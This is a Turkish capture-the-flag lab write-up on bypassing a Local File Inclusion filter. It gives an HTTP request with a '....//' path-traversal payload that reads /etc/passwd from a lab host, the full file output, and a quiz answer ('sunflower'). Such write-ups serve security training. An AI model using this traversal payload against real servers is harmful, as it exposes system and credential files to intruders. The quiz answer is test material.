

# FILE INCLUSION

## 6.2 Local File Inclusion Filter Bypass

### ÇÖZÜM

Bu zafiyette "/" ve "." LFI güvenlik açığını önlemek için engellenmiştir. Aklıma ilk gelen şey url encode, bunun için burp den yapalım.

```
GET /index.php?page=....//....//....//....//etc/passwd HT
Host: pretty-stone-man.euronet.hackviser.space
```

Dizin alanında istek yaptığımız alan gözükyor bunu resimde ki gibi ....//....// şeklinde yazıcaz sunucu bunun 2 adet noktasını 1 adet / slashını kaldıracak ve ortaya ../..../ gelicektir. Bu şekilde bypass edebiliriz.

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var
/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/:/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534:/nonexistent:/usr/sbin
/nologin systemd-network:x:101:102:systemd Network Management,/,/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,/,/run/systemd:/usr/sbin/nologin
messagebus:x:103:109:/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,/,/run/systemd:/usr/sbin/nologin sshd:x:105:65534:/run/sshd:/usr/sbin
/nologin hackviser:x:1000:1000:hackviser,/,/home/hackviser:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin sunflower:x:1001:1001:sunflower,56,,my
user:/home/sunflower:/bin/bash
```

**Soru :** "/etc/passwd" dosyasına eklenen son kullanıcının kullanıcı adı nedir?

**Cevap :** sunflower